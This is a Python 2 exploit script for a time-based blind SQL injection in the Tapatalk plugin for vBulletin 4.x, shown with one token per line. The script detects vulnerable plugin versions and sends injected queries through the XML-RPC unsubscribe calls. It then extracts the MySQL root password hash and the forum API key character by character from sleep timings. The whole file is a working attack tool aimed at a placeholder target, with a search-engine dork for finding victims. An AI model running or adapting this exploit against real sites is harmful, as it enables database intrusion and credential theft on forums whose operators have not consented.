#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
@author: tintinweb 0x721427D8
'''
import
urllib2, urllib
import
xmlrpclib,re, urllib2,string,itertools,time
from
distutils.version
import
LooseVersion
class
Exploit(
object
):
def
__init__(
self
, target, debug
=
0
):
self
.stopwatch_start
=
time.time()
self
.target
=
target
self
.path
=
target
self
.debug
=
debug
if
not
self
.target.endswith(
"mobiquo.php"
):
self
.path
=
self
.detect_tapatalk()
if
not
self
.path:
raise
Exception(
"Could not detect tapatalk or version not supported!"
)
self
.rpc_connect()
self
.attack_func
=
self
.attack_2
def
detect_tapatalk(
self
):
# request page, check for tapatalk banner
handlers
=
[
urllib2.HTTPHandler(debuglevel
=
self
.debug),
urllib2.HTTPSHandler(debuglevel
=
self
.debug),
]
ua
=
urllib2.build_opener(
*
handlers)
ua.addheaders
=
[(
'User-agent'
,
'Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3'
)]
data
=
ua.
open
(
self
.target).read()
if
self
.debug:
print
data
if
not
"tapatalkDetect()"
in
data:
print
"[xx] could not detect tapatalk. bye..."
return
None
# extract tapatalk version
print
"[ i] Taptalk detected ... "
,
path
=
"
".join(re.findall(r"
^\s
*
<link href
=
[\s'\
"]?(http://.*?/)smartbanner/appbanner.css"
, data, re.MULTILINE|re.DOTALL))
path
+
=
"mobiquo.php"
print
"'%s' ... "
%
path,
data
=
urllib.urlopen(path).read()
version
=
"
".join(re.findall(r"
Current Tapatalk plugin version:\s
*
([\d\.a
-
zA
-
Z]
+
)", data))
if
LooseVersion(version) <
=
LooseVersion(
"5.2.1"
):
print
"v.%s :) - OK"
%
version
return
path
print
"v.%s :( - not vulnerable"
%
version
return
None
def
rpc_connect(
self
):
self
.rpc
=
xmlrpclib.ServerProxy(
self
.path,verbose
=
self
.debug)
def
attack_1(
self
, sqli, sleep
=
2
):
'''
SELECT subscribethreadid
FROM subscribethread AS subscribethread
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribethreadid = <INJECTION>
AND subscribethreadid.userid = 0";
<INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
'''
query
=
"-1 union %s and ( select sleep(%s) ) "
%
(sqli,sleep)
query
+
=
"union select subscribethreadid from subscribethread where 1=1 OR 1=1"
# fix query for "AND subscribeforum.userid=0"
if
self
.debug:
print
""" SELECT subscribethreadid
FROM subscribethread AS subscribethread
LEFT JOIN user AS user ON (user.userid=subscribethread.userid)
WHERE subscribethreadid = %s
AND subscribethread.userid = 0"""
%
query
return
self
.rpc.unsubscribe_topic(
"s_%s"
%
query)
#no escape, invalid_char="_"
def
attack_2(
self
, sqli, sleep
=
2
):
'''
SELECT subscribeforumid
FROM subscribeforum AS subscribeforum
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribeforumid = <INJECTION>
AND subscribeforum.userid = 0";
<INJECTION>: 1 UNION ALL <select_like_probe> OR FALSE
'''
query
=
"-1 union %s and ( select sleep(%s) ) "
%
(sqli,sleep)
query
+
=
"union select subscribeforumid from subscribeforum where 1=1 OR 1=1"
# fix query for "AND subscribeforum.userid=0"
if
self
.debug:
print
""" SELECT subscribeforumid
FROM subscribeforum AS subscribeforum
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribeforumid = %s
AND subscribeforum.userid = 0"""
%
query
return
self
.rpc.unsubscribe_forum(
"s_%s"
%
query)
#no escape, invalid_char="_"
def
attack_blind(
self
,sqli,sleep
=
2
):
return
self
.attack_func(sqli,sleep
=
sleep)
#return self.attack_func("-1 OR subscribethreadid = ( %s AND (select sleep(4)) ) UNION SELECT 'aaa' FROM subscribethread WHERE subscribethreadid = -1 OR 1 "%sqli)
def
attack_blind_guess(
self
,query, column, charset
=
string.ascii_letters
+
string.digits,maxlength
=
32
, sleep
=
2
, case
=
True
):
'''
provide <query> = select -1 from user where user='debian-sys-maint' where <COLUMN> <GUESS>
'''
hit
=
False
# PHASE 1 - guess entry length
print
"[ ] trying to guess length ..."
for
guess_length
in
xrange
(maxlength
+
1
):
q
=
query.replace(
"<COLUMN>"
,
"length(%s)"
%
column).replace(
"<GUESS>"
,
"= %s"
%
guess_length)
self
.stopwatch()
self
.attack_blind(q, sleep)
duration
=
self
.stopwatch()
print
"."
,
if
duration >
=
sleep
-
sleep
/
8
:
# HIT! - got length! => guess_length
hit
=
True
print
""
break
if
not
hit:
print
"[ !!] unable to guess password length, check query!"
return
None
print
"[ *] LENGTH = %s"
%
guess_length
# PHASE 2 - guess password up to length
print
"[ ] trying to guess value ..."
hits
=
0
result
=
""
for
pos
in
xrange
(guess_length):
# for each char pos in up to guessed length
for
attempt
in
self
.bruteforce(charset,
1
):
# probe all chars in charset
#attempt = re.escape(attempt)
if
attempt
=
=
"%%"
:
attempt
=
"\%"
#LIKE binary = case sensitive.might be better to do caseinsensitive search + recheck case with binary
q
=
query.replace(
"<COLUMN>"
,column).replace(
"<GUESS>"
,
"LIKE '%s%s%%' "
%
(result,attempt))
self
.stopwatch()
self
.attack_blind(q, sleep)
duration
=
self
.stopwatch()
#print result,attempt," ",duration
print
"."
,
if
duration >
=
sleep
-
sleep
/
8
:
if
case:
# case insensitive hit - recheck case: this is drastically reducing queries needed.
q
=
query.replace(
"<COLUMN>"
,column).replace(
"<GUESS>"
,
"LIKE binary '%s%s%%' "
%
(result,attempt.lower()))
self
.stopwatch()
self
.attack_blind(q, sleep)
duration
=
self
.stopwatch()
if
duration >
=
sleep
-
sleep
/
8
:
attempt
=
attempt.lower()
else
:
attempt
=
attempt.upper()
# case sensitive - end
# HIT! - got length! => guess_length
hits
+
=
1
print
""
print
"[ +] HIT! - %s[%s].."
%
(result,attempt)
result
+
=
attempt
break
if
not
hits
=
=
guess_length:
print
"[ !!] unable to guess password length, check query!"
return
None
print
"[ *] SUCCESS!: query: %s"
%
(query.replace(
"<COLUMN>"
,column).replace(
"<GUESS>"
,
"='%s'"
%
result))
return
result
def
bruteforce(
self
, charset, maxlength):
return
(''.join(candidate)
for
candidate
in
itertools.chain.from_iterable(itertools.product(charset, repeat
=
i)
for
i
in
range
(
1
, maxlength
+
1
)))
def
stopwatch(
self
):
stop
=
time.time()
diff
=
stop
-
self
.stopwatch_start
self
.stopwatch_start
=
stop
return
diff
if
__name__
=
=
"__main__"
:
#googledork: https://www.google.at/search?q=Tapatalk+Banner+head+start
DEBUG
=
False
TARGET
=
"http://TARGET/vbb4/forum.php"
x
=
Exploit(TARGET,debug
=
DEBUG)
print
"[ ] TAPATALK for vBulletin 4.x - SQLi"
print
"[--] Target: %s"
%
TARGET
if
DEBUG:
print
"[--] DEBUG-Mode!"
print
"[ +] Attack - sqli"
query
=
u
"-1 UNION SELECT 1%s"
%
unichr
(
0
)
if
DEBUG:
print
u
""" SELECT subscribeforumid
FROM subscribeforum AS subscribeforum
LEFT JOIN user AS user ON (user.userid=subscribeforum.userid)
WHERE subscribeforumid = %s
AND subscribeforum.userid = 0"""
%
query
print
"[ *] guess mysql user/pass"
print
x.attack_blind_guess(
"select -1 from mysql.user where user='root' and <COLUMN> <GUESS>"
,
column
=
"password"
,
charset
=
"*"
+
string.hexdigits,
maxlength
=
45
)
# usually 40 chars + 1 (*)
print
"[ *] guess apikey"
print
x.attack_blind_guess(
"select -1 from setting where varname='apikey' and <COLUMN> <GUESS>"
,
column
=
'value'
,
charset
=
string.ascii_letters
+
string.digits,
maxlength
=
14
,
)